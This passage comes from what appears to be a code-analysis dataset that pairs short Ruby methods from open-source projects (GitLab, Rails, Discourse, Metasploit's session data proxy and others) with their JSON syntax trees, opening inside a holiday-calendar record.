Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_ar\"]},{\"type\":\"sym\",\"children\":[\"us_mi\"]},{\"type\":\"sym\",\"children\":[\"us_nc\"]},{\"type\":\"sym\",\"children\":[\"us_sc\"]},{\"type\":\"sym\",\"children\":[\"us_tx\"]},{\"type\":\"sym\",\"children\":[\"us_wi\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_weekday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Christmas Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[26]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Day after Christmas\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_nc\"]},{\"type\":\"sym\",\"children\":[\"us_sc\"]},{\"type\":\"sym\",\"children\":[\"us_tx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[31]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"New Year's Eve\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_mi\"]},{\"type\":\"sym\",\"children\":[\"us_wi\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Día del Niño\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"mx\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_weekday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Emancipation Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_dc\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Patriots' Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_me\"]},{\"type\":\"sym\",\"children\":[\"us_ma\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Confederate Memorial Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_al\"]},{\"type\":\"sym\",\"children\":[\"us_ms\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Arbor Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us_ne\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"April Fool's Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]},{\"type\":\"sym\",\"children\":[\"ca\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[22]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Earth Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"us\"]},{\"type\":\"sym\",\"children\":[\"ca\"]}]}]}]}]}]}]}]}","id":"beb4ae1f-55ff-4325-b708-945b830c679c"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/tag_helper_test.rb","start_line":266,"raw_source":"def test_tag_builder_with_block_in_erb_containing_non_displayed_erb\n buffer = render_erb(\"<%= tag.p do %><% 1 %><% end %>\")\n assert_dom_equal \"<p></p>\", buffer\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_tag_builder_with_block_in_erb_containing_non_displayed_erb\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buffer\",{\"type\":\"send\",\"children\":[null,\"render_erb\",{\"type\":\"str\",\"children\":[\"<%= tag.p do %><% 1 %><% end %>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<p></p>\"]},{\"type\":\"lvar\",\"children\":[\"buffer\"]}]}]}]}","id":"2c412ab4-7548-4095-846a-6db213b47dfd"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/lib/captain/tools/add_label_to_conversation_tool.rb","start_line":5,"raw_source":"def perform(tool_context, label_name:)\n conversation = find_conversation(tool_context.state)\n return 'Conversation not found' unless conversation\n\n label_name = label_name&.strip&.downcase\n return 'Label name is required' if label_name.blank?\n\n label = find_label(label_name)\n return 'Label not found' unless label\n\n add_label_to_conversation(conversation, label_name)\n\n log_tool_usage('added_label', conversation_id: conversation.id, label: label_name)\n\n \"Label '#{label_name}' added to conversation ##{conversation.display_id}\"\n end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tool_context\"]},{\"type\":\"kwarg\",\"children\":[\"label_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conversation\",{\"type\":\"send\",\"children\":[null,\"find_conversation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_context\"]},\"state\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"Conversation not found\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"label_name\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label_name\"]},\"strip\"]},\"downcase\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label_name\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"Label name is required\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"send\",\"children\":[null,\"find_label\",{\"type\":\"lvar\",\"children\":[\"label_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"Label not found\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_label_to_conversation\",{\"type\":\"lvar\",\"children\":[\"conversation\"]},{\"type\":\"lvar\",\"children\":[\"label_name\"]}]},{\"type\":\"send\",\"children\":[null,\"log_tool_usage\",{\"type\":\"str\",\"children\":[\"added_label\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conversation_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"lvar\",\"children\":[\"label_name\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Label '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label_name\"]}]},{\"type\":\"str\",\"children\":[\"' added to conversation #\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"display_id\"]}]}]}]}]}","id":"bcd06ecd-38b0-4310-9650-f7c38ba5f98e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/workers/loose_foreign_keys/cleanup_worker_spec.rb","start_line":108,"raw_source":"def perform_for(db:)\n time = Time.current.midnight\n\n # Use the same mechanism as app/workers/loose_foreign_keys/cleanup_worker.rb\n # to ensure consistency for future decompositions.\n index = Gitlab::Database.database_base_models_with_gitlab_shared\n .keys\n .find_index(db.to_s)\n\n raise \"Unsupported DB: #{db}\" unless index\n\n time += index.minutes\n\n travel_to(time) do\n described_class.new.perform\n end\n end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_for\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"db\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\"midnight\"]}]},{\"type\":\"lvasgn\",\"children\":[\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"database_base_models_with_gitlab_shared\"]},\"keys\"]},\"find_index\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db\"]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported DB: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db\"]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"time\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"minutes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"travel_to\",{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\"]},\"perform\"]}]}]}]}","id":"a080d791-5c81-4611-9448-a2bb97a3b967"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/container_orchestrator/object_definition.rb","start_line":197,"raw_source":"def messaging_environment\n return [] unless ENV[\"MESSAGING_TYPE\"].present?\n\n [\n {:name => \"MESSAGING_PORT\", :value => ENV[\"MESSAGING_PORT\"]},\n {:name => \"MESSAGING_TYPE\", :value => ENV[\"MESSAGING_TYPE\"]},\n {:name => \"MESSAGING_SSL_CA\", :value => ENV[\"MESSAGING_SSL_CA\"]},\n {:name => \"MESSAGING_SASL_MECHANISM\", :value => ENV[\"MESSAGING_SASL_MECHANISM\"]},\n {:name => \"MESSAGING_HOSTNAME\", :value => ENV[\"MESSAGING_HOSTNAME\"]},\n {:name => \"MESSAGING_PASSWORD\", :value => ENV[\"MESSAGING_PASSWORD\"]},\n {:name => \"MESSAGING_USERNAME\", :value => ENV[\"MESSAGING_USERNAME\"]}\n ]\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"messaging_environment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MESSAGING_TYPE\"]}]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"MESSAGING_PORT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MESSAGING_PORT\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"MESSAGING_TYPE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MESSAGING_TYPE\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"MESSAGING_SSL_CA\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MESSAGING_SSL_CA\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"MESSAGING_SASL_MECHANISM\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MESSAGING_SASL_MECHANISM\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"MESSAGING_HOSTNAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MESSAGING_HOSTNAME\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"MESSAGING_PASSWORD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MESSAGING_PASSWORD\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"MESSAGING_USERNAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MESSAGING_USERNAME\"]}]}]}]}]}]}]}","id":"befec911-f3f2-4fa2-a770-f9ff72f4956c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/processable.rb","start_line":325,"raw_source":"def manual_confirmation_message\n options[:manual_confirmation] if manual_job? && playable?\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"manual_confirmation_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"manual_job?\"]},{\"type\":\"send\",\"children\":[null,\"playable?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"manual_confirmation\"]}]},null]}]}","id":"736679a5-1684-4d91-b276-7c4340df973c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/repositories/base_service.rb","start_line":21,"raw_source":"def ignore_git_errors(&block)\n yield\n rescue Gitlab::Git::CommandError => e\n Gitlab::GitLogger.warn(class: self.class.name, container_id: container.id, disk_path: disk_path, message: e.to_s)\n end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"ignore_git_errors\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"yield\",\"children\":[]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"CommandError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GitLogger\"]},\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disk_path\"]},{\"type\":\"send\",\"children\":[null,\"disk_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]}]}]}]},null]}]}","id":"486e9882-1230-4613-b4bb-ae919e529330"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/composer.rb","start_line":56,"raw_source":"def reply_to_last_message_shortcut\n input.click\n input.send_keys(%i[shift up])\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reply_to_last_message_shortcut\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input\"]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input\"]},\"send_keys\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"shift\"]},{\"type\":\"sym\",\"children\":[\"up\"]}]}]}]}]}","id":"cc33e68b-71ce-49ab-9e6a-fa1e6af20062"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/user_preferences/schema.rb","start_line":51,"raw_source":"def merge!(path, hash)\n extensions[path] = hash\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"merge!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extensions\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}","id":"ee8b29ad-e92a-4cef-8d6b-55bb3ec021b4"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/base_analytics_event_handler.rb","start_line":37,"raw_source":"def event_human_name(event_name)\n Analytics.events[event_name.to_sym]\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"event_human_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Analytics\"]},\"events\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_name\"]},\"to_sym\"]}]}]}","id":"0e31d23f-7ad5-4802-94ad-ea76cb41a285"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/reports/notify_user_private_messages.rb","start_line":7,"raw_source":"def report_notify_user_private_messages(report)\n report.icon = \"envelope\"\n private_messages_report report, TopicSubtype.notify_user\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_notify_user_private_messages\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"report\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"icon=\",{\"type\":\"str\",\"children\":[\"envelope\"]}]},{\"type\":\"send\",\"children\":[null,\"private_messages_report\",{\"type\":\"lvar\",\"children\":[\"report\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicSubtype\"]},\"notify_user\"]}]}]}]}","id":"7bbe5f61-824a-4d84-ab54-3b167b317a9c"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/table_configuration_modal.rb","start_line":106,"raw_source":"def selected_tab(name)\n page.find(\"#{selector} .op-tab-row--link_selected\", text: name.upcase)\n page.find(\"#{selector} .tab-content[data-tab-name='#{name}']\")\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"selected_tab\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"selector\"]}]},{\"type\":\"str\",\"children\":[\" .op-tab-row--link_selected\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"upcase\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"selector\"]}]},{\"type\":\"str\",\"children\":[\" .tab-content[data-tab-name='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]}]}]}]}","id":"72c761a5-8e6e-48c7-9982-6cef17ec2f79"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/nuget/process_package_file_service.rb","start_line":27,"raw_source":"def valid_package_file?\n package_file && package_file.package&.nuget? && !package_file.file.empty_size?\n end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_package_file?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_file\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_file\"]},\"package\"]},\"nuget?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_file\"]},\"file\"]},\"empty_size?\"]},\"!\"]}]}]}","id":"241016ee-284a-4cc7-b784-b2b8fc1b8d3f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/object_storage.rb","start_line":481,"raw_source":"def retrieve_from_store!(identifier)\n Gitlab::PathTraversal.check_path_traversal!(identifier)\n\n # We need to force assign the value of @filename so that we will still\n # get the original_filename in cases wherein the file points to a random generated\n # path format. This happens for direct uploaded files to final location.\n #\n # If we don't set @filename value here, the result of uploader.filename (see ObjectStorage#filename) will result\n # to the value of uploader.file.filename which will then contain the random generated path.\n # The `identifier` variable contains the value of the `file` column which is the original_filename.\n #\n # In cases wherein we are not uploading to final location, it is still fine to set the\n # @filename with the `identifier` value because it still contains the original filename from the `file` column,\n # which is what we want in either case.\n @filename = identifier # rubocop: disable Gitlab/ModuleWithInstanceVariables\n\n super\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"retrieve_from_store!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"identifier\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"PathTraversal\"]},\"check_path_traversal!\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@filename\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"8bf0f426-c4f0-4206-9c71-2d79b1234a6f"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb","start_line":32,"raw_source":"def update_session(opts)\n begin\n self.data_service_operation do |data_service|\n is_msf_session = false\n if !opts.nil? && opts.kind_of?(Msf::Session)\n msf_session = opts\n is_msf_session = true\n tmp_opts = SessionDataProxy.convert_msf_session_to_hash(msf_session)\n # only updating session data\n opts = tmp_opts[:session_data]\n # add back session ID\n opts[:id] = msf_session.db_record.id\n end\n\n mdm_session = data_service.update_session(opts)\n\n # reassign returned Mdm::Session to the Msf::Session's db_record\n msf_session.db_record = mdm_session if is_msf_session\n\n mdm_session\n end\n rescue => e\n self.log_error(e, \"Problem updating session\")\n end\n 